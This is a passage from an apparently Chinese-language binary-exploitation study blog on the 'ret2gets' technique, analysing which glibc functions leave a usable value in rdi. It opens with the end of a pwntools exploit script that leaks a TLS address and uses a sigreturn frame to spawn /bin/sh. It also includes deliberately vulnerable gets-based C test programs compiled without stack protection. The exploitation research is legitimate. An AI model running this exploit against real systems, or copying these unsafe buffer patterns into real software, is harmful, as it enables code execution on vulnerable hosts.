target.sendline(b"BBBB")
target.recvline()
tls = u64(target.recvline().strip()[8:].ljust(0x8, b"x00"))
ld = tls + 0xC8C0
target.success(f"tls: {hex(tls)}")
target.success(f"ld: {hex(ld)}")
gets = 0x40114D
payload = flat(
b"A" * 0x20,
elf.bss(),
gets,
)
target.sendlineafter(b"ROP me if you can!", payload)
frame = SigreturnFrame()
frame.rax = 0x3B
frame.rdi = elf.bss()
frame.rsi = 0x0
frame.rdx = 0x0
frame.rip = ld + rop.find_gadget(["syscall", "ret"])[0]
payload = flat(
b"A" * 0x20,
b"/bin/shx00",
ld + rop.find_gadget(["pop rax", "ret"])[0],
0xF,
ld + rop.find_gadget(["syscall", "ret"])[0],
bytes(frame),
)
target.sendline(payload)
target.interactive()
if __name__ == "__main__":
main()
```
## Digging Deeper
### RDI != _IO_stdfile_0_lock
```c
// gcc -Wall vuln.c -o vuln -no-pie -fno-stack-protector -std=c99
#include <stdio.h>
int main() {
char buf[0x20];
puts("ROP me if you can!");
gets(buf);
puts("No lock for you ;)");
return 0;
}
```
#### Case 1: RDI is Writable
上面这个程序执行 `puts` 后 rdi 就不会是 `_IO_stdfile_0_lock` 了,取而代之的是 `_
IO_stdfile_1_lock`,但是很好解决啊,我们输入大小又没限制,直接先返回到一次 `gets
` 重新令 rdi 等于 `_IO_stdfile_0_lock` 就好了。
:::warning
唯一需要注意的是,返回到 `gets` 的话,rdi 必须是可写内存地址,否则会出错。
:::
#### Case 2: RDI is Readonly
如果 rdi 是只读地址,我们就不能直接使用 `gets` 了。但是我们可以先使用 `puts`,这
将返回给 rdi `_IO_stdfile_1_lock`,然后就可以使用和上面类似的方法继续构造 ROP Ch
ain 。
#### Case 3: RDI == NULL
此时大多数 IO 函数都不可用了,不过还是存在例外。
##### printf / scanf
[printf](https://elixir.bootlin.com/glibc/glibc-2.41/source/stdio-common/printf.
c) 的定义如下:
```c
int
__printf (const char *format, ...)
{
va_list arg;
int done;
va_start (arg, format);
done = __vfprintf_internal (stdout, format, arg, 0);
va_end (arg);
return done;
}
#undef _IO_printf
ldbl_strong_alias (__printf, printf);
ldbl_strong_alias (__printf, _IO_printf);
```
`va_list` 用于声明一个保存当前可变参数列表的指针;`va_start (arg, format)` 用于
告诉编译器可变参数从 `format` 之后开始,它的第二个参数必须是函数参数表里,最后一
个已知的固定参数,比如 `printf` 中就是 `format`;`va_end` 会做一些清理工作,结束
访问。
注意到传入 `__vfprintf_internal (stdout, format, arg, 0)` 的 rdi 为 `stdout`。
```c collapse={12-49}
/* The FILE-based function. */
int
vfprintf (FILE *s, const CHAR_T *format, va_list ap, unsigned int mode_flags)
{
/* Orient the stream. */
#ifdef ORIENT
ORIENT;
#endif
/* Sanity check of arguments. */
ARGCHECK (s, format);
#ifdef ORIENT
/* Check for correct orientation. */
if (_IO_vtable_offset (s) == 0
&& _IO_fwide (s, sizeof (CHAR_T) == 1 ? -1 : 1)
!= (sizeof (CHAR_T) == 1 ? -1 : 1))
/* The stream is already oriented otherwise. */
return EOF;
#endif
if (!_IO_need_lock (s))
{
struct Xprintf (buffer_to_file) wrap;
Xprintf (buffer_to_file_init) (&wrap, s);
Xprintf_buffer (&wrap.base, format, ap, mode_flags);
return Xprintf (buffer_to_file_done) (&wrap);
}
int done;
/* Lock stream. */
_IO_cleanup_region_start ((void (*) (void *)) &_IO_funlockfile, s);
_IO_flockfile (s);
/* Set up the wrapping buffer. */
struct Xprintf (buffer_to_file) wrap;
Xprintf (buffer_to_file_init) (&wrap, s);
/* Perform the printing operation on the buffer. */
Xprintf_buffer (&wrap.base, format, ap, mode_flags);
done = Xprintf (buffer_to_file_done) (&wrap);
/* Unlock the stream. */
_IO_funlockfile (s);
_IO_cleanup_region_end (0);
return done;
}
```
我们跟进到 `ARGCHECK` 后发现,如果 `Format == NULL` 它就会让 `printf` 提前返回,
那我们调用 `__vfprintf_internal` 时传入的 rdi 会不会继续残留在原地呢?
```c {12-16}
#define ARGCHECK(S, Format)
do
{
/* Check file argument for consistence. */
CHECK_FILE (S, -1);
if (S->_flags & _IO_NO_WRITES)
{
S->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return -1;
}
if (Format == NULL)
{
__set_errno (EINVAL);
return -1;
}
} while (0)
```
```c
// gcc -Wall vuln.c -o vuln -no-pie -fno-stack-protector -std=c99
#include <stdio.h>
int main() {
printf(NULL);
return 0;
}
```
没毛病,rdi 的值还残留着 `_IO_2_1_stdout_`,成功令它变成可写地址,那现在就可以像
上面一样使用 `gets` 了。
据说这里能用 FSOP 进行 leak,不过我还没学过,暂时先把参考链接放上来,以后有时间
了再研究研究:
- <https://0xdf.gitlab.io/2021/01/16/htb-ropetwo.html#leak-libc>
- <https://www.willsroot.io/2021/01/rope2-hackthebox-writeup-chromium-v8.html>
- <https://vigneshsrao.github.io/posts/babytcache/>
另外,由于 `scanf` 和 `printf` 类似,就不贴代码了,可以试试 `scanf(NULL)`,rdi
应该会保留 `_IO_2_1_stdin_`。
##### fflush
还有一个比较常见的接收 `FILE` 作为第一个参数的函数就是 [fflush](https://elixir.b
ootlin.com/glibc/glibc-2.41/source/libio/iofflush.c#L31) ,当 rdi 是 NULL 时,它
会调用 `_IO_flush_all` 刷新所有 IO:
```c {2-3}
int _IO_fflush(FILE *fp) {
if (fp == NULL)
return _IO_flush_all();
else {
int result;
CHECK_FILE(fp, EOF);
_IO_acquire_lock(fp);
result = _IO_SYNC(fp) ? EOF : 0;
_IO_release_lock(fp);
return result;
}
}
libc_hidden_def(_IO_fflush)
weak_alias (_IO_fflush, fflush)
libc_hidden_weak (fflush)
#ifndef _IO_MTSAFE_IO
strong_alias (_IO_fflush, __fflush_unlocked)
libc_hidden_def (__fflush_unlocked)
weak_alias (_IO_fflush, fflush_unlocked)
libc_hidden_weak (fflush_unlocked)
#endif
```
```c {20, 24-27}
int _IO_flush_all(void) {
int result = 0;
FILE *fp;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg(flush_cleanup);
_IO_lock_lock(list_all_lock);
#endif
for (fp = (FILE *)_IO_list_all; fp != NULL; fp = fp->_chain) {
run_fp = fp;
_IO_flockfile(fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) ||
(_IO_vtable_offset(fp) == 0 && fp->_mode > 0 &&
(fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))) &&
_IO_OVERFLOW(fp, EOF) == EOF)
result = EOF;
_IO_funlockfile(fp);
run_fp = NULL;
}
#ifdef _IO_MTSAFE_IO
_IO_lock_unlock(list_all_lock);
_IO_cleanup_region_end(0);
#endif
return result;
}
libc_hidden_def(_IO_flush_all)
```
`_IO_MTSAFE_IO` 中的 `MTSAFE` 是 `Multi Thread Safe` 的意思,即多线程时 `_IO_flu
sh_all` 最后执行的将是 `_IO_cleanup_region_end (0)`。
单线程时最后执行的是 `_IO_funlockfile (fp)`,这和我们之前看到的一样,rdi 肯定会
残留锁。
我们主要关注 `_IO_cleanup_region_end (0)` 执行完 rdi 残留的是什么内容:
```c
#define _IO_cleanup_region_end(_doit)
__libc_cleanup_region_end (_doit)
/* End critical region with cleanup. */
#define __libc_cleanup_region_end(DOIT)
if (_cleanup_start_doit)
__libc_cleanup_pop_restore (&_buffer);
if (DOIT)
_cleanup_routine (_buffer.__arg);
} /* matches __libc_cleanup_region_start */
```
[__libc_cleanup_pop_restore](https://elixir.bootlin.com/glibc/glibc-2.41/source/
nptl/libc-cleanup.c#L53) 接受 `_buffer` 地址作为参数,这是一个位于可写区域的地址
,因此我们又成功得到了可写的 rdi,可以继续通过上面的 gets 完成接下来的 ROP 了。`
_cleanup_routine` 也是同理。
#### Case 4: RDI is Junk
##### rand
`rand` 虽然不是 IO 函数,但它会在 rdi 内残留一个指向 `unsafe_state` 结构体的指针
,适用于各种版本的 libc 。
```c
long int __random(void) {
int32_t retval;
__libc_lock_lock(lock);
(void)__random_r(&unsafe_state, &retval);
__libc_lock_unlock(lock);
return retval;
}
weak_alias(__random, random)
```
##### getchar
理论上,`getchar` 是完美的。因为参数无关紧要,而且由于 IO 函数通常在最后才会解锁
,所以它们会在 rdi 中残留一个锁(`getchar` 会返回 `_IO_stdfile_0_lock_`)。可惜
的是,这里存在一个优化:`_IO_need_lock` 。
```c
int getchar(void) {
int result;
if (!_IO_need_lock(stdin))
return _IO_getc_unlocked(stdin);
_IO_acquire_lock(stdin);
result = _IO_getc_unlocked(stdin);
_IO_release_lock(stdin);
return result;
}
#ifndef _IO_MTSAFE_IO
#undef getchar_unlocked
weak_alias(getchar, getchar_unlocked)
#endif
```
如果 `((_fp)->_flags2 & _IO_FLAGS2_NEED_LOCK) != 0`,则说明需要加锁。
```c
#define _IO_need_lock(_fp)
(((_fp)->_flags2 & _IO_FLAGS2_NEED_LOCK) != 0)
```
否则会进入 if,执行 `_IO_getc_unlocked`,发现执行的过程中还会调用别的函数,最后
执行完并没有在 rdi 中残留什么有用的东西。
此外,根据引用我们推测,下面这些函数可能也存在同样的问题,不过还是需要自己去看代
码才能确定。
下面是多线程版本,`getchar` 最终结束后 rdi 中会残留 `_IO_stdfile_0_lock`。
```c
// gcc -Wall vuln.c -o vuln -no-pie -fno-stack-protector
#include <stdio.h>
#include <pthread.h>
#include <stdlib.h>
void *thread_function(void *arg);
int main() {
pthread_t tids[2];
int ret;
ret = pthread_create(&tids[0], NULL, thread_function, (void *)1);
if (ret != 0) {
perror("pthread_create 1 failed");
exit(EXIT_FAILURE);
}
ret = pthread_create(&tids[1], NULL, thread_function, (void *)2);
if (ret != 0) {
perror("pthread_create 2 failed");
exit(EXIT_FAILURE);
}
pthread_join(tids[0], NULL);
pthread_join(tids[1], NULL);
return 0;
}
void *thread_function(void *arg) {
getchar();
pthread_exit(NULL);
}
```
当创建线程时,会调用 [_IO_enable_locks](https://elixir.bootlin.com/glibc/glibc-2
.41/source/libio/genops.c#L553),以确保所有新旧 IO 都设置了 `_IO_FLAGS2_NEED_LOC
K`:
```c
/* In a single-threaded process most stdio locks can be omitted. After
_IO_enable_locks is called, locks are not optimized away any more.
It must be first called while the process is still single-threaded.
This lock optimization can be disabled on a per-file basis by setting
_IO_FLAGS2_NEED_LOCK, because a file can have user-defined callbacks
or can be locked with flockfile and then a thread may be created
between a lock and unlock, so omitting the lock is not valid.
Here we have to make sure that the flag is set on all existing files
and files created later. */
void _IO_enable_locks(void) {
_IO_ITER i;
if (stdio_needs_locking)
return;
stdio_needs_locking = 1;
for (i = _IO_iter_begin(); i != _IO_iter_end(); i = _IO_iter_next(i))
_IO_iter_file(i)->_flags2 |= _IO_FLAGS2_NEED_LOCK;
}
libc_hidden_def(_IO_enable_locks)
```
有个想法是手动篡改 `_IO_FLAGS2_NEED_LOCK` 的值,不知道行不行,反正我还没遇到过,
后面自己研究研究吧。
##### putchar
```c
int putchar(int c) {
int result;
_IO_acquire_lock(stdout);
result = _IO_putc_unlocked(c, stdout);
_IO_release_lock(stdout);
return result;
}
#if defined weak_alias && !defined _IO_MTSAFE_IO
#undef putchar_unlocked
weak_alias(putchar, putchar_unlocked)
#endif
```
这个函数就不管是不是多线程都会有残留了,不过也有限制,它要求 rdi 中必须是一个 ch
ar,或者 int 。不过感觉大多数情况下应该都不会有问题?不管了,等哪天有幸遇到再说
对不对。
## References
[ret2gets](https://sashactf.gitbook.io/pwn-notes/pwn/rop-2.34+/ret2gets)